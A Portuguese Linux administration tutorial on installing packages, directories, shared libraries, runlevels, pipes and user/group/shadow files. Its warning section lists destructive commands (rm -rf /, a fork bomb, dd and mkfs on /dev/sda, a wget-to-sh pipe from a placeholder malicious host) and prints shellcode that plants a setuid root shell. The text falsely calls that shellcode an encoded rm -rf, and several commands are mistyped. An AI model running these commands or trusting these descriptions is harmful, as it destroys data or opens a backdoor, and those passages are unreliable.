Instalação de Programas

Para atualizar ou instalar programas, digite *apt-get* como root, e utilizando o nome do programa.

Lembrando que o comando *sudo* dá uma permissão temporária de root para tarefas que exijam o superusuário.

Instalar Pacotes Tar

Se for instalar programas baixados em arquivos tar, descompacte o pacote.

Esse processo pode ser usado para instalar programas (caso já estejam compilados) na pasta */opt*, por exemplo, onde ele ficará acessível a todos os usuários.

PS: Se conter um arquivo install ou readme, olhe ele para ver se a forma de instalar pode ter alguma diferença, como dependências ou comandos específicos. A documentação do desenvolvedor no site oficial também pode ter informações do tipo.

Só lembrando de que o tar é apenas um arquivador, as extensões xz, bz2, gz e etc., são as compactações usadas nos arquivos, que se tiverem em c, cpp e h, e tiverem um makefile, eles não foram compilados (são apenas códigos-fontes). Quando tiverem arquivos so, sh e executáveis (sem extensões, geralmente), ele já está compilado. Sempre olhe dentro da pasta descompactada para ver os tipos de arquivos dentro dela.

Alguns pacotes não tem o configure (apesar de que pode estar com o nome do programa, nesse caso use o comando com o nome), só pular pro make, se já estiver compilado e tiver um makefile, vá pro make install. O Tar é um arquivador e a extensão (tipo gz, xz ou bz2) é o compactador, então teoricamente pode ter qualquer tipo de arquivo dentro dele, como códigos-fontes pra compilar, programas prontos, ou outros tipos de arquivos como pacotes deb e scripts sh.

Alguns arquivos tar já vem com os programas compilados, nesses não é necessário usar o condigure, apenas o make ou pode até usar diretamente, mas pode ser necessário dar o chmod pra execução.

PS: Ao usar o configure, pode ter algum pacote não instalado no sistema, nesse caso dê um apt-get no pacote e depois tente rodar o configure.

Criar Atalhos

Se colocarmos o atalho na pasta padrão (que é */usr/local/share/applications*), ele aparecerá na lista de aplicativos normalmente.

Usando Pacotes deb e o dpkg

As principais distros são baseadas na Debian, como o Ubuntu, Kali, Parrot e Min. Esses sistemas usam os instaladores deb e o dpkg para os instalar.

Outras Formas de Instalar Programas

Para instalar um arquivo sh, basta dar permissão de execução e rodar ele. O processo com arquivos run, bin, appimage ou sem extensão (mas que seja executável ou script) é o mesmo. Pode ser necessário instalar dependências caso a instalação dê erro.

Um arquivo .AppImage pode ser executado diretamente sem instalar e sem dar permissões, no entanto, requer um pouco de cautela ao executar esses tipos de programas.

Algumas distros como o Ubuntu tem loja de aplicativos, onde podemos baixar diretamente vários programas, podemos procurar por exemplo, o Bleachbit (limpador de sistema para Linux) e instalar sem dificuldades.

Atualização do Sistema

O comando *update* apenas atualiza a lista de programas a atualizar, para atualizar os mesmos usamos os comandos *upgrade* e *dist-upgrade*.

Esteja atento as diferenças:

- *apt-get upgrade* – Atualiza apenas o que tem uma nova versão.
- *apt-get dist-upgrade* – Atualiza o que tem uma nova versão e instala e remove pacotes de forma inteligente, atualiza também o kernel.
- *do-release-upgrade* – Executado após o dist-upgrade, para atualizar a versão do sistema.

Em algumas situações, principalmente ao instalar arquivos DEB, as dependências já são corrigidas com o sudo apt-get install -f. Dependendo do caso, pode ser necessário rodar *sudo dpkg –reconfigure -a*, podendo também ser especificado um pacote específico (o mesmo vale para o configure).

PS: O apt-get clean também é usado para limpar arquivos de instalação já usados, pode ser usado apt-get autoclean também, ou autoremove para remover pacotes não usados.

Diretórios Importantes do Sistema

Esses são os diretórios mais importantes do Linux e sistemas baseados em Unix:

- **/bin:** Binários essenciais ao sistema.
- **/boot:** Arquivos do processo de inicialização.
- **/cdrom:** Ponto de montagem para CD-Rom (mas o padrão é o /media).
- **/dev:** Arquivos de dispositivos.
- **/etc:** Arquivos de configuração, tipo o “registro” do Linux.
- **/home:** Referente a usuários do sistema.
- **/lib:** Bibliotecas essenciais partilhadas.
- **/lost:** Arquivos recuperados.
- **/media:** Diretórios que montam CDs, DVDs, partições e pen-drives inseridos.
- **/mnt:** Montagem de sistemas temporários.
- **/opt:** Pacotes opcionais (geralmente usado para instalar programas, principalmente tarballs).
- **/proc:** Onde encontra-se o kernel e arquivos de processo.
- **/root:** O “home” do superusuário root.
- **/run:** Arquivos temporários de aplicativos.
- **/sbin:** Arquivos binários de administração.

- **/srv:** Serviços de dados (como o de um servidor, onde ficam os arquivos).
- **/tmp:** Arquivos temporários, apagados em todo boot.
- **/usr:** Contém aplicativos usados pelos usuários, e não pelo sistema.
- **/var:** Arquivos de dados variáveis, é como o usr, mas com permissão de escrita para arquivos.

PS: Os diretórios são reconhecidos como arquivos no Linux.

O Android (que também usa Kernel Linux) também possui a maioria desses diretórios (exceto /boot, /cdrom, /home, /mnt, /opt, /run, /srv, /usr e /var) não acessíveis em sistemas sem root, e tem outras pastas como a */cache* (armazenamento de dados para execução), */data* (dados), */init* (inicialização), */* (cartão SD), */storage* (área de armazenamento) e */system* (sistema).

O arquivo *~./bashrc* é onde está o path do usuário, onde podemos adicionar variáveis de ambiente colocando *export PATH=$PATH:/caminhododiretorio*, e em */etc/bash.bashrc* podemos colocar outras variáveis de ambiente, na sintaxe *NOMEDAVARIAVEL=conteudo*. Podemos colocar outros diretórios no path de forma global no arquivo */etc/environment*, separados por dois pontos (como *:/caminhododiretorio*).

PS: Evite colocar caminhos com espaços.

Gerenciamento de Bibliotecas Compartilhadas no Linux (ldd, ldconfig, ld.so)

O comando ldd exibe as bibliotecas compartilhadas requeridas por cada um dos programas listados na sua linha de comando, trazendo o nome da biblioteca e o local onde se espera encontrá-la.

Os programas executáveis dinamicamente vinculados são examinados, no momento da execução, pelo vinculador dinâmico de objetos compartilhados ld.so.

Ele procura por dependências no executável que está sendo carregado e tenta satisfazer vínculos a bibliotecas compartilhadas de sistema que não estejam resolvidos. Se ele não encontrar uma biblioteca, o programa poderá nã orodar.

ld.so pode procurar pelos diretórios que contém bibliotecas na variável *LD_LIBRARY_PATH* ou as bibliotecas são procuradas em um índice de nomes e localizações de bibliotecas (binário) chamado /etc/ld.so.cache.

Para adicionar novas entradas ao cache, adicione o diretório que contém as bibliotecas ao arquivo /etc/ld.so.conf e atualize o cache com o comando *ldconfig*.

O ldconfig configura ligações em tempo de execução do ligado dinâmico (ld.so). Cria os links e cache necessários para as bibliotecas compartilhadas mais recentes encontradas nos diretórios especificados na CLI, no arquivo /etc/ld.so.conf e nos diretórios /lib e /usr/lib.

O ldconfig deve ser sempre executado após a instalação de uma nova biblioteca compartilhada. O comando ldconfig -p examina o conteúdo do cache de bibliotecas ld.so.cache, e o ldconfig reconstrói o cache incluindo as atualizações realizadas em /etc/ld.so.conf.

Na variável de ambiente LD_LIBRARY_PATH contém uma lista de diretórios separados por : onde o sistema irá procurar por determinada biblioteca dinâmica (*.so). Quando um programa precisa de

uma biblioteca, o sistema a procura nos diretórios listados em LD_LIBRARY_PATH, depois no arquivo de cache /etc/ld.so.cache e então nos diretórios /lib e /usr/lib. Para visualizar o conteúdo da variável de ambiente, use o comando *echo $LD_LIBRARY_PATH*. Ele deverá retornar */usr/local/lib/:/usr/lib/:/usr/lib64/* se estiver configurado corretamente. Caso não retorne, coloque a variável com esses valores no arquivo */etc/bash.bashrc*.

No arquivo /etc/ld.so.conf contém uma lista de diretórios nos quais podem se procurar por bibliotecas, configurável pelo usuário. E no arquivo /etc/ld.so.cache contém uma lista ordenada de bibliotecas encontradas nos diretórios encontrados em /etc/ld.so.conf. Não é legível por humanos e não deve ser editado, pois é binário.

As bibliotecas compartilhadas funcionam assim: O usuário executa um programa qualquer. O programa ld.so é invocado para descobrir as dependências do programa do usuário e vincular as bibliotecas necessárias. Para isso o ld.so consulta diversos diretórios que contém as bibliotecas e a variável de ambiente LD_LIBRARY_PATH. Ao encontrar as dependências requeridas, efetua a vinculação e assim as funções da biblioteca ficam disponíveis para o programa chamador e ele é então executado. O ld.so também pode consultar um cache de nomes de bibliotecas e caminhos chamado /etc/ld.so.cache (não legível por humanos). É possível acrescentar mais caminhos de diretórios ao ld.so.cache editando-se o arquivo de configuração /etc/ld.so.conf. Caso o /etc/ld.so.conf seja editado, rode o programa ldconfig logo após para atualizar o cache com as novas configurações.

Comandos que Podem Danificar seu Sistema Linux

Há uma série de comandos e combinações de comandos que são extremamente perigosos em seu ambiente Linux, especialmente se você utiliza o sistema como usuário root para tarefas normais. É importante conhecer alguns deses comandos para evitar problemas sérios em seu sistema.

O comando *rm -rf* é uma forma rápida de apagar uma pasta e seu conteúdo. Mas qualquer erro pode resultar em perda de dados, geralmente irrecuperável. Vejamos algumas opções:

- *rm -rf:*Apaga uma pasta recursivamente.
- *rm -f:* Remover arquivos somente-leitura sem perguntar.
- *rm -rf /:* Força a exclusão de tudo no diretório raiz.
- *rm -rf *:* Força a exclusão de todo no diretório atual.
- *rm -rf .:* Força a exclusão do diretório atual e suas sub-pastas.

PS: Alguns sistemas têm proteção própria contra o uso errado desse comando, mas pode usar algo como *rm -rf / --no-preserve-root* para apagar o sistema.

O comando *:(){:|:&};:* é uma fork bomb, que cria vários processos até travar o sistema. Ele funciona definindo uma função chamada ":", a qual chama a si mesma duas vezes, uma em foreground (primeiro plano) e outra em background.

O comando *mv nomedoarquivo /dev/null* moverá o arquivo especificado para o dispositivo /dev/null. No Linux, o dispositivo /dev/null ou null é um arquivo especial que descarta todos os dados escritos nele e informa que a operação de escrita foi bem-sucedida.

O comando *wget http://fontemaliciosa -0- | sh* irá baixar um script da internet, o qual pode estar em uma fonta maliciosa de dados, e então o executará por meio do shell sh.

O comando > *nomedoarquivo* pode ser usado para apagar o conteúdo de um arquivo. Se esse comando for executado inadvetidamente, como por exemplo “> arquivo.conf”, todo o conteúdo do arquivo arquivo.conf será sobrescrito e, dessa forma, perdido.

O comando *dd if=/dev/random of=/dev/sda* irá apagar o dispositivo de blocos sda e escreverá dados aleatórios nele. Como seu sistema provavelmente está instalado nesse dispositivo, estará perdido e irrecuperável.

O comando *mkfs.ext3 /dev/sda* formata o dispositivo de blocos sda e então o disco terá seu conteúdo totalmente apagado, como se fosse um disco novo.

E também tem esse código em hexadecimal aqui:

```
char esp[] __attribute__ ((section(".text”))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
```

Essa sequência de caracteres toda nada mais é que o comando rm -rf, porém representado em códigos hexadecimais, de modo a enganar quem não conheça esse tipo de representação. Se esse comando for executado no terminal, a partição principal do sistema será totalmente apagada.

Uma coisa boa no Linux é que muitos desses comandos acima só são executados como root. Mas alguns sistemas, como o Kali e principalmente os que só usam a linha de comando, geralmente entram como root. Alguns desses comandos o próprio sistema já protege contra eles.

Inicialização, init, runlevels, init.d, initab e telinit

Ao se iniciar o Linux, são usados diversos scripts presentes no diretório /etc para configurar o sistema e mudar um nível de execução a outro. Esse processo varia um pouco entre as distribuições.

Temos que entender o processo init, o init é a inicialização do controle de processos. É o pai de todos os processos, criado a partir de um script armazenado em /etc/inittab. O PID dele é 1.

O conceito de runlevels (nível de execução) especifica as diferentes formas pelas quais um sistema pode ser utilizado e o controle sobre quais serviços rodarão. Os níveis de execução são especificados pelos números inteiros de 0 a 6. O processo init é responsável por levar o sistema ao nível de execução padrão.

Esses são os níveis de execução dos runlevels:

RunLevel	Significado
0	Sistema Desligado

1	Modo Monousuário (S,s)
2	Multiusuário, Padrão no Debian e Derivados
3	Multiusuário, Padrão no Red Hat e Derivados, sem GUI
4	Não Usado
5	Multiusuário Completo com Login Gráfico (Red Hat e Derivados)
6	Reinicialização do Sistema

O diretório /etc/init.d é o diretório que contém scripts de inicialização/encerramento para cada serviço do sistema, por exemplo /etc/init.d/sshd. Esses scripts aceitam argumentos como start, stop, restart, status e reload. Esses scripts não são executados diretamente pelo processo init. Em vez disso, os diretórios /etc/rc0d a /etc/rc6.d possuem links simbólicos para esses scripts.

Os links desses diretórios são nomeados nos formatos HNNnome e SNNnome, sendo que K é kill (finalizar, serviços que não deverão rodar no runlevel, executados primeiro), S é start (iniciar, serviços que deverão rodar no runlevel), NN (número de sequência, ordem de execução dos scripts) e nome (identificação dos scripts).

O nível de execução padrão pode ser configurado no arquivo /etc/inittab, procure pela linha initdefault (por exemplo, id:2:initdefault:).

Use o comando telinit para mudar o runlevel em tempo de execução, por exemplo, pra desligar o sistema digite *telinit 0*.

Mais opções:

- *init 0 enter* – Muda runlevel para o número especificado.
- *telinit q* – Aplica as mudanças realizadas em /etc/inittab.
- *runlevel* – Mostra o runlevel prévio e o atual.

Redirecionamento e Pipes no Linux – stdin, stdout, stderr

No Linux e Unix em geral, tudo é considerado arquivo, inclusive diretórios, discos, etc., e por isso tudo pode ser mapeado para o sistema de arquivos.

Os dispositivos que são mapeados como arquivos eles são chamados de arquivos de dispositivos. Um exemplo clássico é o */dev/sda*. Um arquivo de dispositivo é um objeto do sistema que oferece uma interface para o dispositivo em si.

O kernel do Linux associa os drivers de dispositivos aos arquivos de dispositivos. Assim podemos acessar os dispositivos como se fossem arquivos.

Os arquivos no Linux possuem uma espécie de abstração para identificação. Essa abstração é chamada de descritor de arquivos. É uma abstração de uma identificação para acessar um arquivo. Para isso temos três descritores, entrada padrão (stdin), saída padrão (stdout) e erro padrão (stderr).

A entrada padrão é um stream (fluxo) para entrada de texto. Por padrão, a entrada padrão é vinculada ao teclado. Também é conhecida como descritor de arquivos 0.

A saída padrão é um stream para saída normal dos programas. Por padrão, a saída padrão é vinculada ao terminal ou janela de terminal (no caso de sistemas com interfaces gráficas). Também é conhecida como descritor de arquivos 1.

O erro padrão é um stream para saída de texto, usado para exibir mensagens de erro. Por padrão também é vinculada ao terminal ou janela do mesmo. Também é conhecida como descritor de arquivos 2.

Com esses dados em mente, podemos utilizar os recursos chamados de pipes. Pros programas, ler os dados de um arquivo armazenado no sistema ou do teclado, dá no mesmo, não há diferença alguma pros programas, assim como escrever no terminal ou dentro de outro arquivo. Ele também pode ler ou enviar dados de ou para outros programas.

O símbolo de pipe é a barra em pé (|). O pipe permite juntar dois comandos, como, por exemplo, *ls -l | less*, nesse caso, a saída do ls, ao invés de ir diretamente pro terminal, ele irá para o comando less, que tratará os dados de outra forma antes de enviá-los pro terminal.

Os pipes podem ser redirecionados para outros comandos sucessivamente. Se forem usados mais de dois comandos com redirecionamentos, damos o nome de pipeline a operação resultante. Por exemplo, redirecionando para a saída de outros comandos:

ls /etc | sort -r | less # Ele listará o diretório /etc, ordenará de forma reversa e mostrará aos poucos com o less

Para redirecionar para um arquivo, usamos o >, dessa forma:

ls -i > inodes.txt

Gerenciamento de Usuários e Grupos – Arquivo /etc/passwd

As informações de usuários ficam armazenados em vários arquivos de configuração do seu sistema. Os principais arquivos são */etc/passwd*, */etc/group*, */etc/shadow* e */etc/gshadow.*

O arquivo */etc/passwd* contém a lista dos usuários do sistema (não apenas usuários humanos, mas também contas administrativas). Antigamente ele era usado também para arquivo de senhas de usuários, mas hoje em dia elas ficam em outro arquivo, o */etc/shadow.* O arquivo passwd pode ser lido por qualquer um no sistema e pode ser editado com editores de texto (porém, não é recomendado, e sim que se altere usando comandos como o *usermod*, localizado em */usr/sbin/usermod*.

Digite o comando *cat /etc/passwd* para visualizarmos o arquivo no terminal.

Cada linha é uma conta, cujas informações são divididas por dois pontos (:). Veja por exemplo essa linha:

eu:x:1000:1000:eu,,,:/home/eu:/bin/bash

Os campos são esses:

1. É o nome do usuário, usado para fazer login.
2. É a “senha” (que não é “x”, mas que está no arquivo */etc/shadow*).
3. É o UID (ID do usuário, variando de 0 a 65535).
4. É o GID (ID do grupo, primário, também variando de 0 a 65535).
5. São os comentários (informações extras, como o nome completo ou o telefone). As vírgulas indicam que caberiam mais informações).
6. É o diretório home (padrão) do usuário.
7. É o shell padrão do usuário.

Os números de 1 a 999 para UID são reservados para contas de sistema e administrativas. As contas de usuário começam a contar a partir do 1000 (geralmente atribuída ao usuário principal do Linux). O usuário root recebe o UID 0.

Gerenciamento de Usuários e Grupos – Arquivos group e gshadow

O arquivo */etc/group* define os grupos aos quais os usuários do Linux pertencem. Os grupos são usados para aplicar permissões de acesso a recursos do sistema. Também permitem facilitar o gerenciamento e monitoramento de usuários.

Digite no terminal *cat /etc/group* para visualizarmos o arquivo.

Cada linha é uma conta, cujas informações são divididas por dois pontos (:). Veja por exemplo essa linha:

eu:x:1000:

Os campos são esses:

1. É o nome do grupo.
2. É a “senha”, geralmente não usada.
3. É o GID (ID do grupo, variando de 0 a 66535).
4. Lista de membros, separados por vírgulas, o usuário de mesmo nome do grupo não aparecerá

O arquivo */etc/gshadow* é onde estão as senhas criptografadas dos grupos. Podemos ver o arquivo digitando *sudo cat /etc/gshadow.*

Cada linha é uma conta, cujas informações são divididas por dois pontos (:). Veja por exemplo essa linha:

eu:!::

Os campos são esses:

1. É o nome do grupo.
2. É a senha criptografada, se houver. Se houver um “!”, ela indica que os usuários que não são do grupo não podem acessá-la, mas que também não tem senha no mesmo.

3. São os administradores do grupo, o usuário de mesmo nome do grupo não aparece. O root também pode fazer isso mesmo não estando no mesmo.
4. Lista de membros, separados por vírgulas, o usuário de mesmo nome do grupo não aparece.

Alguns comandos que podemos usar no terminal:

- *groups usuario*: Permite descobrir de quais grupos um usuário é membro.
- *id opções usuario*: Mostra os IDs de grupos e usuário e os grupos aos quais ele pertence. Algumas opções são *-g* (GID do grupo primário do usuário), *-G* (todos os GIDs dos grupos do usuário), e *-n* (combinado com g ou G, mostra os nomes dos grupos ao invés dos GIDs).

Digite esses comandos:

id -g eu

id -G eu

id -nG eu

Gerenciamento de Usuários e Grupos – Arquivo de Senhas shadow

O arquivo */etc/shadow* contém as senhas criptografadas dos usuários, além de outras informações sobre as contas de usuário. Ele somente é legível pelo usuário root ou outro que tenha permissão para ler o mesmo.

Digite o comando *sudo cat /etc/shadow* no terminal.

Cada linha é uma conta, cujas informações são divididas por dois pontos (:). Veja por exemplo essa linha:

syslog::17937:0:99999:7:::*

Os campos são esses:

1. É o nome da conta.
2. É a senha. Se possuir um “!” é porque ele não possui senha. Se possuir “*” é porque a conta está desativada e não poderá fazer login no sistema. Se possuir um “![senha]” é porque a conta tá travada. E se possuir um “!!” é porque a senha nunca foi configurada.
3. É a última modificação de senha, contada em dias desde 01/01/1970 até a data de modificação da mesma.
4. É o mínimo de dias antes que o usuário tem que esperar para modificar sua senha.
5. É o máximo de dias que o usuário pode manter a mesma senha.
6. É o campo de aviso de dias antes da expiração da senha.
7. É o campo de dias após a validade do qual a conta é desabilitada.
8. É a expiração da conta, quando a conta será desativada, contada em dias desde 01/01/1970.
9. É um campo reservado, sem uso especificado.

PS: A data 01/01/1970 é conhecida como a data Unix, para chegar ao dia exato especificado na conta, faça uma soma do tipo abaixo, na qual colocamos a quantidade de dias referente ao usuário/grupo:

date -d “1970/01/01 + 15478 days”